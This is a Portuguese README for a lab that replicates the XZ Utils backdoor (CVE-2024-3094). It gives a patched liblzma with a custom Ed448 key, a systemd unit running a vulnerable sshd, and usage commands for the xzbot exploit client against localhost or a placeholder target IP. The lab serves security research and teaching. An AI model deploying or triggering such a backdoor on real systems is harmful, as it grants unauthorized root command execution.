
# Laboratório educacional replicando o backdoor do XZ Utils (CVE-2024-3094) com um par de chaves Ed448 personalizado. Inclui um liblzma corrigido, serviço systemd e cliente de exploração para pesquisa de segurança autorizada.
Apenas para fins educacionais e de pesquisa de segurança autorizada.
CVE-2024-3094 é um backdoor introduzido nas versões 5.6.0 e 5.6.1 do XZ Utils (liblzma), descoberto em 29 de março de 2024 pelo pesquisador de segurança Andres Freund. Foi atribuída a ele uma pontuação CVSS de 10.0 (Crítico).
Este é um ataque à cadeia de suprimentos realizado ao longo de mais de dois anos por um ator de ameaças conhecido como "Jia Tan" (JiaT75), que construiu confiança dentro do projeto até obter o status de co-mantenedor e introduziu o backdoor diretamente nos tarballs de distribuição.
O backdoor opera da seguinte forma:
liblzma.so malicioso faz hook da função RSA_public_decrypt() no OpenSSH por meio do mecanismo IFUNC do glibc, interceptando o processo de autenticação SSH.system() com privilégios do sshd (root).Este laboratório replica o mecanismo do backdoor usando chaves Ed448 personalizadas em vez das chaves do ator original (que nunca foram tornadas públicas).
Em sistemas reais afetados, não havia chroot. O backdoor operava diretamente no sshd do sistema, que carregava o liblzma.so malicioso como qualquer outra biblioteca compartilhada — completamente transparente para o sistema e seus administradores.
Neste laboratório, usamos chroot apenas por um motivo prático: precisamos executar um sshd com uma versão específica do liblzma.so sem substituir as bibliotecas do sistema host. Esta é uma decisão de design para o ambiente de pesquisa, não um reflexo de como o backdoor operava em produção.
| Componente | Descrição |
|---|---|
env_fs/ | Sistema de arquivos Ubuntu 22.04 mínimo usado como chroot |
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5 | liblzma 5.6.1 patchado com chave Ed448 personalizada |
/etc/systemd/system/xzback.service | serviço systemd que inicia o sshd vulnerável na porta 2024 |
/xzbot/xzbot | cliente de exploração compilado a partir do código-fonte |
O backdoor original exige condições muito específicas que não existem automaticamente em um ambiente de laboratório. As seguintes modificações foram necessárias:
O liblzma.so.5 incluído no repositório original do MagpieRYL usa uma chave Ed448 desconhecida que é inconsistente com o binário xzbot incluído. O liblzma.so.5.6.1 original e autêntico foi baixado do snapshot do Debian (sha256 verificado) e patchado usando patch.py do amlweems/xzbot com seed=0:
original sha256: 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
patched sha256: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
patched offset: 0x24470
A chave pública Ed448 original do ator foi substituída por:
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
O serviço original usa Type=notify, o que exige que o sshd envie uma notificação de inicialização ao systemd. O sshd dentro do chroot não a envia, causando timeouts. Alterado para Type=simple.
O sshd exige /run/sshd para separação de privilégios. Esse diretório não existe no chroot e é apagado a cada reinicialização porque run/ é um tmpfs. Resolvido com um ExecStartPre que o regenera automaticamente antes de cada início do serviço.
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
O comando é executado dentro do chroot, portanto qualquer arquivo criado em /tmp/ no contexto do backdoor é armazenado em:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
Ou seja, se o comando for echo pwned > /tmp/result, o arquivo será encontrado em:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
Para localizar qualquer arquivo gerado pela exploração:
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
A mensagem ssh: handshake failed: EOF é o comportamento esperado e correto. O backdoor executa o comando e fecha a conexão sem estabelecer uma sessão SSH. Isso não indica falha.
Este laboratório usa um par de chaves criptográficas personalizado (seed=0). O liblzma.so patchado só aceita payloads assinados com a chave privada correspondente, que é a usada pelo xzbot compilado neste ambiente. Qualquer outro cliente receberá EOF sem execução.
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal. O autor não é responsável por qualquer uso indevido.